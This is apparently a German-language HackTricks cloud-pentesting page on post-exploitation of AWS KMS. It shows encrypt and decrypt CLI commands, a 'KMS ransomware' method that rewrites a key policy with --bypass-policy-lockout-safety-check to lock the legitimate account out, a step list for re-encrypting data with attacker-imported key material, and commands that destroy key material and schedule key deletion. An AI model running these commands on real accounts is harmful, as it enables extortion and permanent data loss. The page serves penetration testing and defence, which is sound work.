4.6 KiB
AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
KMS
Für weitere Informationen siehe:
{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}
Informationen verschlüsseln/entschlüsseln
fileb:// und file:// sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:
fileb://:Liest die Datei im Binärmodus, häufig verwendet für Nicht-Textdateien.file://:Liest die Datei im Textmodus, typischerweise verwendet für einfache Textdateien, Skripte oder JSON, das keine speziellen Kodierungsanforderungen hat.
Tip
Beachten Sie, dass die Datei, wenn Sie einige Daten in einer Datei entschlüsseln möchten, die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)
- Verwendung eines symmetrischen Schlüssels
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Verwendung eines asymmetrischen Schlüssels:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie der Schlüssel ändern und seinem Konto Zugriff darauf gewähren, während der Zugriff des legitimen Kontos entfernt wird.
Dann können die Benutzer des legitimen Kontos auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was eine einfache, aber effektive Ransomware über das Konto schafft.
Warning
Beachten Sie, dass AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind, nur vom Kunden verwaltete Schlüssel.
Beachten Sie auch die Notwendigkeit, den Parameter
--bypass-policy-lockout-safety-checkzu verwenden (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Beachten Sie, dass Sie, wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie festzulegen, um den Zugriff auf das ursprüngliche Konto zurückzugeben, dies nicht möglich sein wird, da die Put Policy-Aktion nicht von einem anderen Konto aus durchgeführt werden kann.

Generische KMS-Ransomware
Globale KMS-Ransomware
Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der die folgenden Schritte umfasst:
- Erstellen Sie einen neuen Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial
- Re-verschlüsseln Sie ältere Daten, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.
- Löschen Sie den KMS-Schlüssel
- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln
Schlüssel zerstören
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Beachten Sie, dass AWS jetzt verhindert, dass die vorherigen Aktionen von einem anderen Konto aus durchgeführt werden:

{{#include ../../../banners/hacktricks-training.md}}